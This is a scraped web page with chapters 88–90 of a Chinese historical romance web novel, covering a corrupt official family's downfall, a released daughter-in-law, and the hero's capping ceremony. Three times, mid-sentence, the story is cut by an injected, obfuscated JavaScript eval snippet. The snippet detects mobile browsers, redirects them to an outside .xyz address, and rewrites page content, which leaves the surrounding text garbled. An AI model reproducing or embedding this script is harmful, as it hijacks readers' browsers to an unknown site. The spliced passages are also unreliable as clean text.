眼下事情了，此事却被轻巧地揭了过去，未罚未赏。 好些秀才早就对元家做派不满，此时更点燃了心中仇视权贵的怒火，抨击元家以权谋私，以势欺人的文章如雪花一般出现在文人圈里。 事情彻底失控，是一寒门秀才击鼓鸣冤，状告元家三公子剽窃他的文章，更因私怨收买考官，致使他落榜等数条罪名不成反被轰走。 两日后却被人发现那秀才被打断了腿，与之同行的另一位，正是受元家迫害的苦主崔玉棠。 有冤无处诉，那秀才留下血书，打算自裁于元府府门外，以死明冤，被赶来的同窗们救下了。 崔玉棠面色沉痛，劝他：“兄台此举实在不值，你自寻短见，只会亲者痛，仇者快。” “是啊，那元修己仗着家世如此欺辱我等寒门学子，元大人包庇亲子，为官不仁，我辈当奋起反抗，焉能如缩头乌龟一般！” “我们去找文知府！” “文知府不管，我们就上京城告御状！让元家好狗瞧瞧，我等寒门也不是好欺负的！” 一人愤起，众人追随。 而挑起府城学子众怒的罪魁祸首，此时正在元家书房里被勒令跪着，在他身侧，茶盏花瓶碎了一地。 怕元郡松盛怒之下失去理智，刘云忙不迭去请了徐元氏，二人进来时，元修己正哭得一塌糊涂，毫无骨气地爬过去，扒住父亲的衣袍。 “爹，这次您一定要救救儿子，我这是被人陷害了！”，元修己语无伦次：“一定是崔玉棠！一定是他！” 元郡松见他这幅怂包模样，一丝骨气都没有，恨铁不成钢地骂道：“我元郡松一世英名，全败在你这个蠢货身上了！” 他拾起一个砚台便要砸过去，徐元氏忙变了脸色，上前去制止，“老爷使不得，这砚台砸下去是要三儿的命不成！” “哼，老三有今天，少不了你惯的。”，元郡松面色阴冷，将怒火转移到发妻身上，“如今元家的名声全毁了，你出去听听那些文人怎么是怎么骂元家，骂老夫的，若不是这畜生，何至于此。” “那文鹤英本就对老夫有意见了，此事一起指不定怎么写奏折进京去参老夫！” 元郡松气得心肺震疼，心头有一股极不好的预感，此次府城舆论突然炸开，先是府学书院，随后蔓延至各私塾，文人楼，乃至大街小巷，极像是背后藏着人。 单是崔玉棠，在府城还没这么大的本事。 恐怕这其中少不了曲家那小畜生在推波助澜。 88. 第 88 章 元郡松悔恼至极，他在官场上算计了别人一辈子，元家几代打拼下来的地位，临到头来，却被自己的亲生儿子给砸了个稀巴烂。 恐怕此时弹劾元家的折子已快马加鞭送往京城了，届时风雨掀起，稍有不慎，元家满门都保不住。 “老三，除了那书生的事，你可还有其他的事瞒着老夫？” 元修己脸上神情肉眼可见地慌了慌，可顶着父亲深沉质问的眼神，他下意识地摇头：“没有了！没有其他的事了。” 元郡松冷哼：“最好是这样，否则谁都保不住你。” 徐元氏：“老爷，现在最要紧的是安抚那带头闹事的书生，先把舆论压下来，再向书院院长下张帖子，修己没了岁考名次，怕是会被退学。” 元郡松烦躁地将书案前堆积的各县年底述职折子挥开，“下帖子给那院子有何用，他若是卖元家这个面子，就不会将老三岁考作弊一事张贴公示出来，那老东西历来跟文鹤英走得近，谁的面子都不看。” 文鹤英昔年未被外派时在朝中是出了名的正直，出身京都清流名士之家，又忠于圣人，以一甲榜眼的风光入仕，深得陛下信任，如今任江南知府第五个年头，怕是要不了多久，就会被调回京中。 元家虽风光，但已然呈颓势，随着他这一代人渐渐老去，新的族中子弟却没几个出色的，朝中不得力，府里还有拖后腿的纨绔逆子，身为家主的元郡松也迟迟寻不到机会再把官位往上挪一挪。 本还有几年可以经营，只是如今恐怕无法安稳了。 书房里压抑得人喘不过气来，元修己垂着脑袋不敢在这时出来触霉头，徐元氏亦是如此。 刘云迈着步上前，声音温和，不疾不徐道：“爹，相信夫君一定知错了，您莫要气坏自个身子，儿媳认为为今之计只有将那闹事的书生尽快拉拢过来，让他出面澄清流言是最恰当不过的。” 元郡松抬头看向自己这位三儿媳，蓦然想到什么，他锐利的眼睛紧盯过去：“你与那崔家二郎是同乡，和他娘子还是好友，老三的消息是不是从你这漏出去的？” “爹怎能如此冤枉我。”，刘云委屈道：“夫君从来不会与我说他书院里的事，自上次小产后更是甚少来我院里，他做了什么，我哪里晓得。” 她顷刻落下泪来，伤心道：“既然爹怀疑我，那我也不在这碍眼了，我陪祖母去。” 刘云福身告了礼，转身走了。 徐元氏对此不满道：“云儿素来恭谨安分，孝顺谦良，老爷不该这般猜忌于她，平白教人寒心。” “那个闹事的书生我托人去处理，只要银子给够，总会闭嘴的，至于书院那边，你们父子俩自己看着办吧。”，徐元氏起身欲走，却不经意地多言了一句。 “老大在京里求学，只盼着此次风波，莫要波及到他才是。” 元修己闻言顿时目眦欲裂，双眼布满狰狞，恨意充斥上头，他腾地站起来，大声道：“当初若不是你们偏心大哥，只送了大哥去京城读书，让我留在江南府，我也不会沦落到今天这个地步！” “同是亲生的嫡子，凭什么他就能去京城，我就不能去！” 元修己愤恨地踹向燃着熏香的八角铜鼎，满腔怨言有了发泄的口子，连平时对元郡松本能的恭敬和惧怕都被升腾而起的情绪压下了。 徐元氏从未设想过自己会有今日的处境，处处维护的亲儿子将她看作仇人，发泄着满腔怨恨，而她同床共枕的丈夫，竟是一句话都没有。 “原来你心里，竟藏着这般怨言。”，徐元氏惊愕之余，连连摇头，只觉眼前一黑，身子摇摇欲坠，幸而得身后嬷嬷搀扶住。 她垂落一直高傲地挺着的肩膀，转身一言不发地走了。 . 文鹤英将呈上京都的折子用蜜蜡封进锦盒里，递给身旁的亲信：“快马加鞭送入京中，务必要避开京城元家眼线。” 亲信双手接过，微疑道：“大人这是决定解决元家了？” 文鹤英端坐于书案前，身上还穿着鹰绿的蟒制官服，他捏着眉心，声音沉重道：“元家盘踞江南府多年，本官本打算睁只眼闭只眼，可如今竟然两手伸到河运和科举上，不得不除。” 亲信拱手，“大人英明。” “去吧，让人盯着元家和曲屠那边，在圣上旨意没下来前，莫轻举妄动，打草惊蛇。”，文鹤英站起身，将一侧作废的竹折子扔进篓里，顺手掂起书案边的绒花摆件把玩着。 “是。” 亲信领了命令，很快便退出书房，只是迎头却险些撞上疾疾奔来的小厮。 他一把拽住冒冒失失的小厮，呵斥道：“何故在府里这般没规矩，慌跑什么！” 那小厮轻吁着粗气，擦着额头跑出来的闷汗，语速飞快道：“府外来了许多书生，跪成一片，纷纷求见文大人，引好些百姓闻声围观过来。” 小厮哭苦着脸，一副急得不行的模样。 亲信遂放了他，让他进去禀告，出府时，特意绕从前门走，果然见许多书生跪在府门外，瞧那身上的澜衫，还都是府学的学子，最低也是秀才功名。 看着乌泱泱的人群，恐怕书院里的学子都涌了过去。 他捏着手上要送去京都的锦盒，蓦然觉得沉重无比，这里面已然不是一道折子，而是江南府学子们的科举公平。 …… 自文鹤英亲书的折子一路往北，途径无数驿站，终于抵达京都，落到圣人龙案上。 再平常不过的一日早朝，这一道折子，如惊雷落在了百官头顶。 …… 休养小半旬，余晚桃身子大好，恰到年三十，除夕夜，一家人吃过年夜饭，围着炭炉烤火守夜。 热炉滚汤，香烟袅袅，屋外皑皑白雪，月亮皎洁，群星点缀。 今岁的年，少了欢歌笑语，处处充斥着压抑低沉的气息，这般望向夜幕，江南府百姓群居的方向，连烟花都没人放。 崔玉棠放了一把桂圆在铁网上烤着，倒了一杯烫好的桂花茶递给身侧的娘子：“慢些喝，还有些烫。” 余晚桃吃了些干果，喉咙正燥着，她接过茶盏，耐心吹了一会，才小口抿着，“这府城闹了这么久，元家的人屡次出来镇压消息，威逼利诱皆有，最近年关，我看好些人都拿了元家的封口银回去过年了。” 铁网上的烤橘子和桂圆发出哔剥声响，表皮炸开，露出里面橙黄色的果肉，崔玉棠将几颗烤好的都夹到瓷碟里放着。 他温声道：“风头浪尖，元家仍不知收敛，且等着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14642917|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧，一开年，京里应该就会有旨意下来了。” “若元家真倒了，那云姐儿如何脱身？”，余晚桃皱着眉：“万一判个流放或者满门抄斩的，她一元家妇，焉能不受牵连，这节骨眼上和离一路也走不通。” 崔玉棠：“元家倒了关云姐儿何事？她将元家利用河运谋利，科举作弊，官商勾结等诸多证据交出来，乃是大义灭亲之举，功过相抵，只会被遣回娘家。” “能安然脱身回容县也是好的。”，余晚桃有些怀念在容县的日子，她叹了口气，道：“来了府城半年多，愈发觉出咱们容县的好来。” 崔玉棠宽慰她：“今年晚了些，大雪封路回不去，等明年我们早些出发，回村里过年，顺道探望庆叔一家和细柳姐。” 余晚桃失笑，心里算着日子，这岁年未过完，便计起明年来了。 不过明年确实是该回村一趟，否则等书生乡试后，一家子恐是会随着北上，到那时再想回来就难了。 路途迢迢，山高水远，估计少有回来的机会。 夜深了，窈儿熬不住去睡了，余小器和余小娃两个正在长身体的半大小子更是早早回了屋说悄悄话。 正院这头静悄悄的，窗前覆着白雪，迎进来一捧银月，两道身影亲密挨着，时不时传来几声闲聊，到后面声音渐小。过了子时，崔玉棠在院中点了一串鞭炮迎新岁，便抱着余晚桃回屋歇息。 余晚桃昏昏欲睡，沾床却清醒了。 她睁着眼睛，看书生吹熄油灯，窸窸窣窣地脱衣，上床掀开被褥，随着一股好闻的松墨香钻入鼻尖，她整个人被揽了过去，隔着一层棉衣紧紧相贴。 “最近元府屡次失窃，你说是不是曲屠做的？” 崔玉棠收紧手臂，往上掖了掖被角，“应该是他，曲屠一心要取大伯留下的东西，我们坑元家的这一手里，也有他推波助澜，元家乱了，他才有浑水摸鱼的机会。” “你说他到底为京里哪位主子卖命？” 曲屠明面是一位商人，可背地里的作派却狠厉无比，显然不像一个单纯经商的，只怕是身份伪装。 崔玉棠推测不出来，但在府学上课，又经过老师指点，也知晓一些京中的局势，他沉思道：“眼下朝中虽表面风平浪静，可随着瑛贵妃膝下的皇子渐渐长大，瑛贵妃背后的母族也开始培养自己的势力，拉拢朝臣，铲除异己。” “大伯入仕时忠的是先朝晖太子一派，朝晖太子薨后，同为嫡出的二皇子被封为太子，在朝中官员看来，大伯自然也跟着效忠起如今的太子。崔家的案子，与瑛贵妃一脉势力脱不了干系。” 余晚桃听得睡意沉沉。 她胡乱哦了一声，闭上眼睛嘟哝：“听着就麻烦，宫斗剧看少了真吃亏。” 崔玉棠挑眉，“宫斗剧是何？” 余晚桃打着哈欠，调整了一个舒服的睡觉姿势，懒懒道：“就是一戏文。” 月寂影静，窗外呼啸风雪，屋内地龙尚有余温，如此良夜，崔玉棠没再扰自家娘子睡眠，自己也跟着沉沉睡去。 翌日睁眼，便是新岁。 然新岁伊始，江南府城门大开。 一奉命处理元家案的京都御官带着圣旨，风尘仆仆赶到江南府，身后还领着一队官兵。 89. 第 89 章 一阵铁蹄声惊醒了尚在沉睡中的府邸。 府内红灯笼覆白雪，丫鬟们穿着喜庆，手上拎着铜钱铃串在梅花枝头做装饰，小厮们弓着腰哈气扫雪。 往元老太太院里去的回廊铺了厚厚的绒毯，元家子孙陆陆续续聚到了一起给老太太拜年。 元郡松作为一家之主在最前面，捧着一盏温热的茶，跪在地上，双手奉给母亲，后面几房子孙们跟着跪下。 元老太太眯着眼，笑容慈祥，伸手接过茶盏，可接过的瞬间，却霎然一抖，那盏茶落地碎开，洇湿了地上昂贵的羊毛毯，茶水被迅速吸收，留下一滩褐色的污渍。 元郡松心头重重一跳。 “圣旨到——！” 元修己豁然站起，看向外面如鱼贯入的官兵，软甲黑服，腰悬雕狮玉柄佩剑，赫然是负责抄家的锦衣卫三营。 元家人惊慌失措，被突如其来的状况吓得失了神思，纷纷调转过来，对着持剑围进来的锦衣卫跪趴下来，肩膀瑟瑟发抖。 元修松看着跪倒一片的族人，心中只有一个想法。 元家没了。 不过两年时光，元家竟步了崔家的后尘，这到底是为何？ 元郡松跌跪在地，浑身再无一丝力气。 “元大人，别来无恙。” 元郡松抬头，死死盯着那手执明黄圣旨，头戴四品官帽，对他言笑晏晏仿佛在寻常问候的官员。 他冷笑不已：“入朝不过八年便爬到了大理寺卿的位置，费了不少功夫吧？连除夕都未过便千里迢迢领了差事而来，想必十分辛苦。” 大理寺卿许韫华，对着昔日的座师，始终保持着温和的态度，他眉眼似天生带笑，“都是为圣上担忧，谈何辛苦。” 许韫华与人寒暄，声音温和得不像是带着锦衣卫来抄家的，就连宣读圣旨，都是如沐春风的语气，俨然谈笑之间，终结了元府百年名门的延误。 元家掺和进了河道与科举中虽罪重，可若是圣人心慈，顾及元老太太的诰命之身，元郡松至多降职或贬为庶人，可此事却引起江南府寒门学子众怒，加深了世家和寒门的矛盾。 圣人没理由不拿元家开刀。 元家上下一百多口人，昔日珠光宝气，今日皆为阶下囚。 哭嚎声响彻元府。 百姓们纷纷围观，此情此景，与两年前查抄崔家时如出一辙，引得不少人津津乐道，这江南府的同知官位怕不是有邪，上一位倒一位。 偌大的元府里，一箱接着一箱的财物被抬出来，奇珍异宝，金银珠玉，元家积攒数代的身家之富贵，令人瞠目结舌。 许韫华对身边的文鹤英说笑：“想不到江南府地竟如此富庶繁华，只是一同知，便能积攒下这般财富。” 文鹤英坦然露出自己打补丁的官服：“许大人说笑了，文某还是很穷的，江南府地处偏远，还需要朝廷多多帮扶。” “我看不然。”，许韫华哼笑：“元家查抄的这些家产，怕是能抵半数国库了，户部的人可是天天都在哭穷。” 文鹤英负手而立：“哭穷又并非真穷，行了，后头事情还多着呢，文某先回府衙了。” 许韫华略拱手：“文大人慢走。” “不送。” 文鹤英挥挥手，走出几步又折返回来，拧着眉头道：“元家里有一女妇刘云，乃是提供元家犯案证据的关键人物，待案审时还望许兄多斟酌。” 许韫华以点头为应。 目送文鹤英离开后，他朝后挥手，唤来一名锦衣卫询问：“曲府那边怎么回事？” “大人，那曲屠应该是提前得到消息，我们过去的时候人已经消失了，府里只有他爷爷曲山南在，需要先下狱审问吗？” 许韫华啧道：“照例是得把人拿过来问一问，不过曲山南身份特殊，在大魏文人圈里地位极高，且年事已高，明面上走个过场行了，然后暗中派人跟着。” “是。” 许韫华抬头望着元家恢宏的门头，有些感慨。 他是江南府下辖县人士，昔年家境贫寒，两袖清风，举村之力考到江南府学，得中举人功名，只因鹿鸣宴上拒绝了元郡松的招揽，那年便错过了会试，直至三年后，得了当时还是同知的崔海保荐，才得以重走科举路。 崔海于他，当如恩师。 只是两年前贪污案划到了刑部，刑部办得很急，崔家被查抄更是令人措手不及，他身在朝中却帮不到崔家，今日细想，崔家的案子办得诡异，就像是有人为了掩盖一些真相，而着急抹去崔家的存在。 “被元家抹去功名的那位书生现在何处？”，许韫华问。 “今儿初一，应是在家中过年，可要传唤？” “算了，且等几日吧，元家这边还需要处理好，他们府上那些没有签卖身契的下人们，待问话结束后便放回去吧。” 许韫华肃声吩咐身边随行的锦衣卫，旋即大步迈下台阶，翻身上马往府衙去。 . 余晚桃收到官府送回来的财物时，已是三日后了。 那日衙役上门搜查，几乎将她们庄子搜刮一空。 余晚桃本打算吃了这哑巴亏了，不成想京里派下来的官还算清正，案子办完，不仅收拾了中饱私囊的衙役，还将她们家被抢的银子物什都送了回来。 “那位钦差大人倒是个好官。”，窈儿高兴地摸着失而复得的银子，对那位朝廷里派来办案的官夸得不行。 余晚桃悉数对了一遍，把损失算了算，点头道：“都能对上，应该是那位大人给补了一些。” 窈儿：“今日元家被押解上京，好多百姓朝他们扔臭鸡蛋烂菜叶子呢，那元修己脓包得很，哭得眼泪鼻涕的，竟还胡乱攀扯起兄长来。” “他那是临死了还想拉上一个垫背的。”，余晚桃拍拍怀里的汤婆子，想起一事来：“云姐儿应该也是今日被遣送回容县的，等会二郎回来你与他说一声，我去城外送送云姐儿。” “欸~”窈儿弯着眼睛应了声。 余晚桃教人备了些吃的穿的，坐着马车往城门口去，残冬初春，寒意未褪，她在车厢内喝着热茶，等了约一炷香时辰，才看见遣送刘云回容县的队伍。 刘云瞧着消瘦了些，不过眼神却很亮，嘴角挂着淡淡笑意，身边还跟着一个亦步亦趋的小丫鬟。 “云姐儿。”，余晚桃下了马车，上前去给了那两名官爷几两碎银，得了应允，才将刘云拉到官道一侧。 她视线落在目光期期艾艾盯着这处的小丫鬟身上，对她善意一笑，与刘云道：“有宝盻跟着你，我也能放心一些。” “我拿了些吃穿用的，等会带着上路，这天还冷得紧，莫要冻坏自个身子，一路上也还要仰仗着那几位官爷护送，你多长个心眼。” 说话间，余晚桃往刘云的手心里塞了五十两银票。 刘云捏着银票，眼眶倏地红透。 元家被抄，一行家财尽数充公，就连她带来的嫁妆，都拿不回分毫，刘云此刻身无分文，身上穿着那身杂棉的灰色袄服，还是大人们看她一个妇人可怜，教府衙里作工的娘子们给的。 这五十两银子，对刘云来说无疑是雪中送炭。 她忍着哭腔道：“府衙里的大人说已经快马送信回容县给我爹娘了，他们会派人赶来接我的。” 余晚桃拍拍她手背安慰：“嗯，回到家记得来封信，让我也知晓你平安了，我才能放心。” “好。” 那边官差已在催促，刘云眼眶中蓄满泪水，可也竭力忍着，直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14725775|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至转身背对着余晚桃，眼泪顷刻间夺眶而出，出嫁时满心少女情怀，如今孑然一身离开，只昔日好友相送。 刘云心中悲伤不已，宝盻搀着她，也跟着哭，想到自家主子遭遇，愈发伤心起来。 “宝盻，我是回家了。” 刘云一刹那便释怀了，她回首凝望江南府城门，久久才移开目光，毫不犹豫地大步向前走。 “云姐儿，此后珍重。” 余晚桃轻声呢喃，旋即回身踏上马车。 “东家，回去了吗？” “嗯，回去吧。” 斜阳昏黄，马车缓缓驶离城门口。 铺子关了好些时日，原先的绣娘们怕惹事，生生是等到官府出了告示，才敢回来上工，恰是春日晴好，萦绕了府城百姓们一整个年尾的阴霾散去，出来踏春，游园的姑娘们渐渐多了，铺子里为此热闹了好一阵。 余晚桃趁机又推出了几款新式绒花簪，反响都不错，铺子里多了好些回头客。 临书院开学那日，余晚桃早早便将铺子里的账目处理好，换了身应春的新绿襦裙去送书生，侧襟样式在打扣出团了一层雪白的羊毛，软软地托在脸侧，显得那一张脸颊白皙健康。 崔玉棠舍不得她站外面吹风，便两人留在了车厢内，春寒料峭，雪化后街道又脏又湿，稍不仔细便沾脏了衣摆。 “东家，我瞧着隔壁书生那大马车真不错，又宽又阔气，什么时候我们也换一辆？”，余小器扒在窗柩那，一脸羡慕地看着别人家的豪华车架。 崔玉棠卷起手中的书敲了一下他脑门：“课业不见长进，倒贪图起享乐来了。” 余小器捂着脑门，郁闷地嘟哝：“我又不考科举。” 余晚桃没好气道：“话虽如此，但你日日随着二郎在书院里读书，也该有些长进才是，小娃今年可是去武馆学功夫了，你没他那身板结实，还不多读些书长本事，仔细以后连媳妇都娶不到。” 余小器听不得唠叨，一边敷衍应着，一边背着书箱钻出了车厢，跑去找自己书院里相识的朋友玩。 崔玉棠无奈摇头。 他对余晚桃道，“今儿同窗在酒楼设宴，许是会晚些回去。” 余晚桃：“好，少吃些酒。”，话音落下时，她转念间想到什么，便接着道：“你老师真不愿来我们这住？” 崔玉棠轻点了点头。 自曲屠外逃后，商会解散，他名下的财产充公，曲府被封，曲山南虽未受牵连，晚年居地却没了，崔玉棠本想将他接到庄子里住，可曲山南不愿意，如今带着一名老仆从住到了书院的客舍里。 书院客舍简陋，冷清，在这冬意尤浓的初春时节，湿寒无比，就算屋里点着炭盆，都抵挡不住那钻骨头缝里的寒气。 因此一开春，曲山南便病倒了。 他只一孙曲屠，畏罪潜逃，膝下弟子虽多此时却不在身边，如今只有崔玉棠探望照顾。 余晚桃见识过那老儒士的倔脾气，她看着书生道：“不愿来住便不来吧，我让厨娘们隔三差五给他炖些温补的汤拿过去，等过了春，便好了。” 只是这到底不是长久的法子，曲山南是崔玉棠的老师，传道授业，师恩深重，但他的孙子曲屠，可是明着想要她们命的。 余晚桃想将曲山南接回来奉养，也有自己的私心。 如今曲屠不知所踪，往后难保不回潜伏回来，她将曲山南放在身边，对曲屠多少也是一个威慑。 距离乡试还有一年多，余晚桃掀开车帘，去看外面盎然的春意，天空清澈碧蓝，绿枝新芽，不知从何处飘来阵阵花香，伴随着书生们爽朗的笑声。 此情此景，教人心情舒畅。 只愿府城接下来的一年多时光里，都能安稳度过才是。 90. 第 90 章 … “余东家，今儿走这般早？” “家中有事，诸位明日再来吧。” 门帘垂落的流苏珠子被一只纤细白皙的手卷起，发出清凌凌的声响，绸缎面料的鹅黄重纱裙随着轻迈的步子摇曳，恍若一朵盛开的花苞。 余晚桃刚回到庄子，窈儿便朝她奔来，红着脸颊急急忙忙道：“姐，你怎才回来，咱们快些出发吧，仔细去晚了赶不上时辰，今儿可是头等重要的日子，万万不能迟到。” 余晚桃笑着应好。 一年弹指过，不知不觉，又到春来时。 崔玉棠年满二十，今日要在书院孔子庙行冠礼，束发带冠，请师长择字，以示成人。 对于大魏男子来说，行冠礼是一生中极为重要的一个仪式，余晚桃不想错过崔玉棠如此重要的时刻，便加快了步伐，心里不由得期待起来。 二十年纪，正是一生中最好的光景。 到了书院，余晚桃便见不少书生结伴往孔子庙去，皆是着澜衫，系发带，面上喜气洋洋，行走间发丝飘扬，宛若一棵棵挺拔的小青松。 余晚桃打趣说：“书院里样貌好瞧的书生们多，窈儿若是有喜欢的，回头让二郎替你打听打听对方的品性。” 窈儿仰着脑袋一脸骄傲，拎起裙摆走上孔子庙长长的石阶，煞有其事道：“我可不急，再过个半年，等兄长考个状元回来，没准还能给我相个榜眼探花郎呢。” “那也成，谁让咱窈儿长得这般貌美。”，余晚桃弯着嘴角，眸子明亮璀璨，说话间，她甫一停住，便看见了庙堂里站在众书生中间的俊美郎君。 崔玉棠那张带着少年感的漂亮脸蛋随着年纪渐渐成熟，长成了如今耀眼夺目的俊美，面部轮廓极为端正，偏偏眼尾处微微上挑，里头缀着双含情眸，只一目光轻扫，那矜贵从容，温润如玉的气质便显露出来。 闻声回头，崔玉棠的视线隔着人群落在余晚桃身上，温和内敛的气息顷刻转变为嘴角浮现的笑容。 “二郎。”，余晚桃渐渐走近，从袖里拿出亲手绣的平安玉符，坦然当着众人的面，悬挂到崔玉棠腰间的苏锦腰带上。 她眼眸带笑，轻声抱怨道：“昨晚都叮嘱了让你出门时记得系上这枚玉符，怎么还忘在梳妆台上了。” 崔玉棠将那枚玉符握在手里摩挲几下，感受着上面残留的温度，“多谢娘子替我记着了。” “我看兄长是故意的，就想让你亲手帮他系上呢。”，窈儿掩着嘴偷笑，细声打趣。 崔玉棠神色坦然，被戳穿也不见窘迫，他大大方方地将露出清朗笑容，在诸多同窗们里挑了几位相熟的给二人介绍，而后来到正座下，拱手行礼。 “老师，院长。” 孔子庙平常只接待书院学子，今日崔玉棠行冠礼，家中人才得了特许进来观礼，书院院长笑容慈和，对着余晚桃点点头。 “倒是个伶俐的小娘子，眼神清亮，不卑不亢。” 余晚桃扬起笑容，谦逊道：“院长过誉了。” 曲山南：“二郎今日行冠礼，束发戴冠业已成人，往后的路望你二人互相扶持，莫忘初心。” 崔玉棠：“学生谨记老师教诲。” “行了，开始吧。”，书院院长挥手，让学生们散至两旁。 庙堂之中，崔玉棠挺直腰背跪在蒲团上，听师者唱词，走礼，而后散发为终，束发立冠为新始，他目光沉静，直视孔子石像，三跪九叩。 曲山南撑着病弱的身体站起来，在老仆从的搀扶下来到书案前，焚香后执起笔毫，落墨间，挥洒自如，“攸宁”二字笔走游龙，有飘飘隐仙之势。 “哕哕其冥，君子攸宁，此后一生望尔能恪守本心，当如攸攸君子，保持心中宁静，勿骄勿躁。” “攸宁谢老师赐字。” 崔玉棠，字攸宁。 攸宁，余晚桃反复默念着这两个字，倒是挺符合书生的气质，温和宁静，从容不迫。 观礼的学子们待礼成后纷纷上去蹭文运，抢着在崔玉棠跪过的蒲团上磕头，拜孔子，观摩曲山南行云流水般的书法字迹。 “攸宁兄，某可能请教你一篇文章？” “排队去吧你！” “欸你这人好不讲理。” “攸宁兄，别走啊！” 崔玉棠温和有礼地对诸位同窗拱拱手，便携着余晚桃出了孔子庙，在结满毛桃子的桃林中慢慢走着。 “一直说想带你来书院走走，到今时才有空。” 余晚桃看着书生束发带冠的模样，显得高挑俊美，玉树临风，甚是好瞧，这要是将来考到京都去，不知惹多少闺阁姑娘们的喜欢。 “看什么？”，崔玉棠见她只盯着自己瞧，侧过头，俯身凑近，看自己在她眼中的倒影。 余晚桃眨眨眼，笑着说：“看二郎俊呀。” “日日看着，怎今日就格外不同了？”，她自己也疑惑，二人平时相处俨然如家人一般，偶尔有那么几回的暧昧，都是夜间床榻里，被书生偷袭亲的。 余晚桃捂着心口，似乎恍惚间反应过来了什么，心底那条模糊界限终于彻底消失，一切明朗。 原来早在不知不觉间，她们就已经如正常夫妻一般相处了。 “阿桃，你今日看我，明日看我，或几日几时看我，都是一样的，不同的是你的心，你待我的心。” 崔玉棠嗓音温柔，指腹按在自家娘子的下唇，碾了碾，眼眸翻涌着热烈的情绪，深藏在其中的欲悄无声息地蹿了上心头，占据了他此刻全部的感官。 “娘子……”，崔玉棠哑着声音，贴在余晚桃耳边低声轻唤。 余晚桃浑身颤了颤，热意弥漫上耳垂，脸颊，似乎颈脖处都染上了火，滚烫得厉害。 悄悄书生故意使坏，笑得十分勾人。 余晚桃捂住耳朵，往旁边躲去，瞪着人道：“青天白日的，凑这么近作甚。” 崔玉棠翩翩君子般直起身，一本正经地拱手：“攸宁失礼了，这就给娘子赔不是。” “勉强原谅你便是。”，余晚桃哼了一声，好心情道：“听说府城里新开了一家汤底特别鲜的面馆，是用的十几种底料熬汤，滋补养脾，等会可要去试试？” 崔玉棠欣然点头，无有不应。 “窈儿呢？怎不见人了？” 二人逛了会书院，回到孔子庙时，却不见了窈儿踪影，余晚桃找了一圈，才在孔子庙外回廊的拐角处寻到人，打眼瞧去，一位憨书生正面红耳赤地对着窈儿念情诗呢。 余晚桃特意站着听了一会墙角，才刻意咳嗽两声。 那书生仓皇回头，见是崔玉棠夫妻俩，顿时羞得脸颊几乎冒烟，扭头就跑了。 “这书生脸皮真薄，就这还想追心上人呢，啧啧。”，余晚桃摇头批评。 窈儿一脸平静：“纵他脸皮薄厚，左右我不喜欢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14755693|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “不喜欢就多看看。”，崔玉棠道：“紧要的是寻一个合自己心意的，不必在意其他人。” 这一年多，书院不少同窗明里暗里都来打听过窈儿的婚事，崔玉棠拒绝后还有不死心上门去提亲的，最后由余晚桃出面拒绝了。 她兀自叹气，“回头村里来信，细柳姐又该说我咯，她上次还托了庆叔带话来呢，让我们尽快给你定一户好人家，可千万不能拖成老姑娘。” 窈儿嘿嘿笑：“那你怎么还替我拒绝那些人的提亲？” 余晚桃：“那些来提亲的不是歪瓜裂枣就是家中小妾通房一大堆，可过不了我这关。” 窈儿：“是是是，挑夫君要照着兄长这般条件的找。” “二郎多好呀，二郎最好。”余晚桃颇为自豪，家里书生可是她亲手调教出来的，温柔体贴又懂疼人，打猎读书，洗衣做饭样样会。 崔玉棠闻言矜持地点点头。 窈儿乐了乐，笑她不知羞。 余晚桃面颊微热，转移了话题：“不是要去新开的那家面馆吗？再不走可没位子了。” “你们自己去吧，我得回铺子一趟，今儿有一批珍珠送过来，正好月底结款。”，窈儿道。 “那成，你坐马车回去吧，我们慢慢走着。”，崔玉棠与老师，同窗们告了别，准备在这难得的闲时里同自家娘子逛一逛府城。 出了书院，将窈儿送上马车，余晚桃便和崔玉棠并肩走在府学道上，这处往外很长一条街都是书院的地盘，两侧开着各种文房四宝铺子，街上行走的都是书生，一路过去安安静静，不见喧闹。 直至出了书院范围，来到街集上，才开始热闹起来。 余晚桃兴致勃勃地看着吆喝不止的小摊贩，与身侧的崔玉棠闲聊：“还有半月就是乡试了，转眼便是一年多光景，年头的时候容县还来了信，说绣姐儿定了人家，婚期定在七月。” “你乡试若是考中，那会我们应该已经出发去京城了。” 崔玉棠伸臂护着她隔开行人的碰撞，温声道：“可以提前备上贺礼，跟随商队送回容县，我们名下商队不是每月都会往来府城和容县运送货物吗？” “还没想好要送什么贺礼呢。” 说话间，两人来到了街口新开的面馆。 面馆门头做得简单但胜在味道好，口碑不错，这个点走进去客人非常多，几乎没有空桌。 